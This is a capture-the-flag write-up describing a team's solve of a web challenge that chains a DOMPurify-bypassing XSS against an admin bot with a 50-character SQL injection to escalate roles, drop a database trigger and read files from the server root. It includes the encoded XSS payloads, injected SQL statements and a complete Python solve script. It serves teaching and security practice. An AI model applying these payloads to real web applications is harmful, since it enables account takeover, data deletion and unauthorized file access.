Hello all, I played this CTF with UofTCTF
and we solved this with the power of friendship.
Gist of it
This challenge has 2 flags, one requiring our role
to be set to user
in the database and the other requiring us to set our scrap_dir
to /
to view the flag on the server.
The big idea is that we have a bot we can XSS at /checker?url=payload
to create a log at /debug/create_log
to perform SQLI
.
Important Code
SteakEnthusiast
figured out most of this part.
If we can cause an error, i.e. getting it to wait longer than 8 seconds, we can get XSS. This is because we can create a payload that gets past DOMPurify
and once an error happens .textContent
in the somethingWentWrong
function will take our payload and put malicious HTML on the page.
async function main() {Â const params = new URLSearchParams(window.location.search);Â const url = params.get("url");Â if(url) {Â Â setTimeout(() => {Â Â Â somethingWentWrong();Â Â }, 8000);Â Â document.getElementById("div_url").style.visibility = 'visible';Â Â let url_cleaned = DOMPurify.sanitize(url);Â Â document.getElementById("msg_url").innerHTML = url_cleaned;Â Â const input = document.createElement("input");Â Â input.name = "url";Â Â input.type = "url";Â Â input.id = "input_url"Â Â input.required = true;Â Â input.value = url;Â Â const form = document.getElementById("scrap_form");Â Â form.appendChild(input);Â Â form.submit();Â } else {Â Â document.getElementById("div_url").remove();Â Â document.getElementById("error_url").remove();Â Â document.getElementById("input").innerHTML = '<input name="url" type="url" required placeholder="https://exemple.com" />';Â }}
function somethingWentWrong() {Â let url = document.getElementById("msg_url").textContent;Â let error = document.getElementById("error_url");Â error.style.visibility = 'visible';Â error.innerHTML = `Something went wrong while scrapping ${url}`;}
main();
Useful note: /me
allows you to get your id and you can use it to save characters in your SQL query.
router.post('/debug/create_log', requireAuth, (req, res) => { if(req.session.user.role === "user") {  //rework this with the new sequelize schema  if(req.body.log !== undefined   && !req.body.log.includes('/')   && !req.body.log.includes('-')   && req.body.log.length <= 50   && typeof req.body.log === 'string') {    database.exec(`     INSERT INTO logs     VALUES('${req.body.log}');     SELECT *     FROM logs     WHERE entry = '${req.body.log}'     LIMIT 1;    `, (err) => {});  }  res.redirect('/'); } else {  res.redirect('/checker'); }});
The flag is accessible to us if we can set our role to be user.
// scrap.ejs<% if (user.username != "superbot") { %> <p>Goodjob, the flag is: ASIS{FAKE_FLAG1}</p><% } else { %> <p>Welcome owner :heart:</p><% } %><h2>Scrapper</h2><form action="/scrap/run" method="post" class="card"> <label>Website you want to scrap  <input name="url" type="url" required placeholder="https://exemple.com" /> </label> <button>Scrap scrap scrap !</button></form>
Story of the Solve
Flag 1
Initial Findings
Ibrahim
and I started looking at this challenge together and we immediately looked for how to get flag 1. We saw that it was in scrap.ejs
, accessible at /scrap
, and that we needed our username to not be superbot
.
app.use('/', authRouter);app.use('/checker', checkerRouter);app.use('/files', requireUser, filesRouter);app.use('/scrap', requireUser, scrapRouter);
There’s also this condition where we needed our role
to be user
. By default, when we create a new account, our role is set to demo
which can be see in db.js
.
async function initDb() { await getDb(); await exec(`  PRAGMA foreign_keys = ON;  CREATE TABLE IF NOT EXISTS users (   id INTEGER PRIMARY KEY AUTOINCREMENT,   username TEXT NOT NULL UNIQUE,   password TEXT NOT NULL,   data_dir TEXT NOT NULL UNIQUE CHECK(length(data_dir)=8),   scrap_dir TEXT NOT NULL UNIQUE,   role TEXT NOT NULL DEFAULT 'demo'  );  CREATE TABLE IF NOT EXISTS logs (   entry TEXT NOT NULL  );  CREATE TRIGGER IF NOT EXISTS users_immutable_dirs  BEFORE UPDATE ON users  FOR EACH ROW  WHEN NEW.data_dir IS NOT OLD.data_dir OR NEW.scrap_dir IS NOT OLD.scrap_dir  BEGIN   SELECT RAISE(ABORT, 'data_dir and scrap_dir are immutable');  END; `);.... (skipping code fr fr) await database.query(`  UPDATE users SET role='user' WHERE id=1; // the bot is made a user `);}
SQL Injection?
Alright, so the next thing we found was in auth.js
, where we could potentially perform SQL injection.
You’ll notice that this can only be used if your account’s role is user
, so this is where we have to use XSS on the bot. The biggest problem here though is that our input is used TWICE and the changes only happen if the whole query is valid.
router.post('/debug/create_log', requireAuth, (req, res) => { if(req.session.user.role === "user") {  //rework this with the new sequelize schema  if(req.body.log !== undefined   && !req.body.log.includes('/')   && !req.body.log.includes('-')   && req.body.log.length <= 50   && typeof req.body.log === 'string') {    database.exec(`     INSERT INTO logs     VALUES('${req.body.log}');     SELECT *     FROM logs     WHERE entry = '${req.body.log}'     LIMIT 1;    `, (err) => {});  }  res.redirect('/'); } else {  res.redirect('/checker'); }});
You can see that there are restrictions as well, so we cannot comment stuff out because /
and -
are not allowed to be included and the payload must be at most 50
chars in length.
I spent a good 5 hours trying to get something to work, but my GOAT nullptr
flew in to save the day and suggested using quotes to consume parts of the query. Something of this form ') ... '
and SteakEnthusiast
came up with:
);UPDATE users SET role="user";SELECT "1"||'
INSERT INTO logsVALUES(');UPDATE users SET role="user";SELECT "1"||'');SELECT *FROM logsWHERE entry = ');UPDATE users SET role="user";SELECT "1"||''LIMIT 1;
As we can see, this payload works because it turns the first part into a string and terminates the statement. Then we can run our injected payload which turns everyone into a user.
Now, we needed to get the XSS to work properly.
XSS
The file of interest here is checker.js
, this allows us to send the bot to some link, but also XSS it because of the url
parameter from earlier.
const express = require('express');const { requireAuth } = require('../middleware');const { visitUserWebsite } = require('../services/bot');
const router = express.Router();
router.get('/', requireAuth, async (_, res) => {Â res.render('checker');});
router.post('/visit', requireAuth, async (req, res) => {Â const { url } = req.body;Â try {Â Â if(!url.startsWith("http://") && !url.startsWith("https://")) {Â Â Â req.session.flash = { type: 'error', message: 'Invalid URL.' };Â Â } else {Â Â Â await visitUserWebsite(url, req.session.user.data_dir);Â Â Â req.session.flash = { type: 'success', message: 'Your website can definitely be scrap, be careful...' };Â Â }Â } catch (e) {Â Â console.log(e);Â Â req.session.flash = { type: 'error', message: `An error occured.` };Â }Â res.redirect('/checker');});
module.exports = router;
We can see that we need the bot to visit /checker?url=http://localhost:3000/<malicious>
and after that, we can have our malicious img
tag inserted to do XSS.
Ibrahim
figured that you can just set up a server that takes like 10 seconds to respond so that the error will trigger. Once you have that you can append a payload like this to it:
http://<host>/%26lt%3Bimg%20src%3D%27x%27%20onerror%3Dalert%281%29%26gt%3B
Which is just this url-encoded
<img src='x' onerror=alert(1)> -> <img src='x' onerror=alert(1)>
From what I interpreted from SteakEnthusiast
’s explanation, the reason why we use <
and >
is because DOMPurify
thinks it is safe, so it lets it pass through, and something happens with .textContent
and .innerHTML
in somethingWentWrong
that causes it to render.
Alright, so now that we have all of this, we can build our malicious URL. We are sending it to localhost:3000 because that is the port the service is running on for the bot.
http://localhost:3000/checker?url=https://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/{XSS_PAYLOAD}
http://localhost:3000/checker?url=http://{HOST_THAT_TAKES_10_SECONDS_TO_RESPOND}/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p%27))%22%0A%2F%26gt%3B
URL Decoded payload
<img src=x onerror="eval(atob('ICBjb25zdCBwYXlsb2FkID0geyJsb2ciOiAiKTtVUERBVEUgdXNlcnMgU0VUIHJvbGU9XCJ1c2VyXCI7U0VMRUNUIFwiMVwifHwnIn07DQogICAgZmV0Y2goIi9kZWJ1Zy9jcmVhdGVfbG9nIiwgew0KICAgICAgICBtZXRob2Q6ICJQT1NUIiwNCiAgICAgICAgaGVhZGVyczogew0KICAgICAgICAgICAgIkNvbnRlbnQtVHlwZSI6ICJhcHBsaWNhdGlvbi9qc29uIg0KICAgICAgICB9LA0KICAgICAgICBib2R5OiBKU09OLnN0cmluZ2lmeShwYXlsb2FkKSwNCiAgICAgICAgY3JlZGVudGlhbHM6ICJpbmNsdWRlIg0KICAgIH0p'))"/>
Base64 payload
const payload = {"log": ");UPDATE users SET role=\"user\";SELECT \"1\"||'"}; fetch("/debug/create_log", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload), credentials: "include" })
So, sending the bot here will make it set everyone’s role
to user
and we will be able to see the flag at the /scrap
route.
Flag 2
Alright, so flag 2 is on the server, how can we view it? We figured it was something to do with files.js
router.get('/:scrapname/:subpath(*)?', requireAuth, (req, res) => { const rootUserDir = req.session.user.scrap_dir; const scrapName  = req.params.scrapname; const subpath   = req.params.subpath || '';
 const allScraps = listDirectory(rootUserDir); if (!allScraps.some(entry => entry.name === scrapName)) {  req.session.flash = { type: 'error', message: 'This scrap does not exists.' };  return res.redirect('/files'); } ...
function listDirectory(directory, scrapname = "") { let entries = []; try {  if (fs.existsSync(directory)) {   entries = fs.readdirSync(directory).map(name => ({    name,    path: scrapname == "" ? path.join(directory, name).split("/").pop() : scrapname+"/"+path.join(directory, name).split("/").pop()   }));  } } catch {} return entries;}...
I assumed we could just change scrap_dir
to /
and we could get the flag in the root directory. It turned out to be a lot harder than I thought because there is a a trigger set in the database schema that stops us from changing scrap_dir
. There is a simple solution though which is to just drop it. Also, if you remember, /
is not allowed in the request to /debug/create_log
, but we did not remember that piece of info. So, before we rediscovered that quirk, our idea was to send a bunch of requests to setup for changing the scrap_dir
to /
.
This is how it was laid out:
- Delete every other user except for the bot from the database because
scrap_dir
must be unique and no one else must have it (You can see this in the schema in db.js), otherwise it could interfere with our solution. - Re-register our user
- Go to the
/me
endpoint to get our id to change our specific account’sscrap_dir
with theWHERE id=
thing - Set our role to
"/"
i.e.CHAR(47)
- Drop the trigger
users_immutable_dirs
that is preventing us from changingscrap_dir
- set
scrap_dir=role
- change
role
back to"user"
so that we can see the flag at/files
Once we remembered that /
was blocked, we knew needed to use CHAR(47)
which wouldn’t get filtered, but we didn’t have a lot of characters to spare. Thus, we spent a bunch of time golfing down the query. The big breakthrough was from SteakEnthusiast
who figured out that we didn’t really need the "1"||
in SELECT "1"||'
and now we have a bunch more characters to our name, enough for CHAR(47)
.
So we could turn a query like this (50 chars):
);UPDATE users SET role="/" WHERE id=6;SELECT 1||'
into this (50 chars):
);UPDATE users SET role=CHAR(47)WHERE id=6;SELECT'
Also notice how we got rid of the spaces next to WHERE
and SELECT
.
Here are the queries sent in order without all the extra stuff, I will show you the solve script at the end.
DELETE FROM users WHERE id!=1 -- delete every user except for botUPDATE users SET role=CHAR(47)WHERE id={singe_digit_id} -- make our role /DROP TRIGGER users_immutable_dirs -- make scrap_dir changeableUPDATE users SET scrap_dir=role -- set scrap_dir="/"UPDATE users SET role="user"; -- allow ourselves to access /files
With all of this, we are able to go to /files
and view flag 2.
Here is the cursed solve script which Ibrahim
wrote most of:
import requestsimport json, base64
base_url = "http://<host>:4000" # I replaced the host heresession = requests.Session()
def register_user(username, password):  data = {    "username": username,    "password": password  }  register_resp = session.post(f"{base_url}/register", data=data)  login_resp = session.post(f"{base_url}/login", data=data)
def run_sql_query(sql_query):  # assert len(sql_query) <= 50  assert "-" not in sql_query  assert "/" not in sql_query
  js_code = f"""  let payload = {{"log": "{sql_query}"}};
  fetch("/debug/create_log", {{    method: "POST",    headers: {{      "Content-Type": "application/json"    }},    body: JSON.stringify(payload),    credentials: "include"  }})  """
  url = f"http://localhost:3000/checker?url=http://<HOST_THAT_TAKES_10_SECONDS_TO_RESPOND>/%26lt%3Bimg%20src%3Dx%20onerror%3D%22eval(atob(%27{(base64.urlsafe_b64encode(js_code.encode('utf-8')).decode('utf-8')).replace('=', '%3D')}%27))%22%0A%2F%26gt%3B"
  print(f"URL: {url}")
  resp = session.post(f"{base_url}/checker/visit", json={"url": url})
  # print(sql_query[2:-11])  # resp = session.post(f"{base_url}/run_sql", json={"sql": sql_query[2:-11]})
# Register and Loginregister_user("bob123", "bob123")
# Delete all users except bot userrun_sql_query(');DELETE FROM users WHERE id!=1;SELECT 1||\'')
# Register and Login againregister_user("bob123", "bob123")
resp = session.get(f"{base_url}/me").json()
print(resp["id"])id = resp["id"]
# # Update our role to "~"# run_sql_query(f');UPDATE users SET role=\\"~\\" WHERE id={id};SELECT 1||\'')
# # DROP trigger# run_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
# # Update scrap_dir# run_sql_query(');UPDATE users SET scrap_dir=\\"\\"||role;SELECT 1||\'')
# # Set role to "user"# run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')
# Update our role to "/"run_sql_query(f');UPDATE users SET role=CHAR(47)WHERE id={id};SELECT\'')
# DROP triggerrun_sql_query(f');DROP TRIGGER users_immutable_dirs;SELECT 1||\'')
# Update scrap_dirrun_sql_query(');UPDATE users SET scrap_dir=role;SELECT 1||\'')
# Set role to "user"run_sql_query(');UPDATE users SET role=\\"user\\";SELECT 1||\'')
And when we login as bob123
, the flag is available to us.
Afterthoughts fr fr
Looking back, we probably didn’t need to change the role
to be CHAR(47)
, after the breakthrough with character saving, we could’ve just set scrap_dir
to CHAR(47)
directly. Also, we could’ve made this faster once we set our role to user
because we can just POST to /debug/create_log/
ourselves instead of having to XSS the bot which takes about 10 seconds each query.
DELETE FROM users WHERE id!=1 -- delete every user except for botUPDATE users SET role="user"WHERE id={id} -- make our role userDROP TRIGGER users_immutable_dirs -- make scrap_dir changeableUPDATE users SET scrap_dir=CHAR(47) -- set scrap_dir="/"
Anyways, thanks for reading! I had a really fun time doing this challenge with everyone.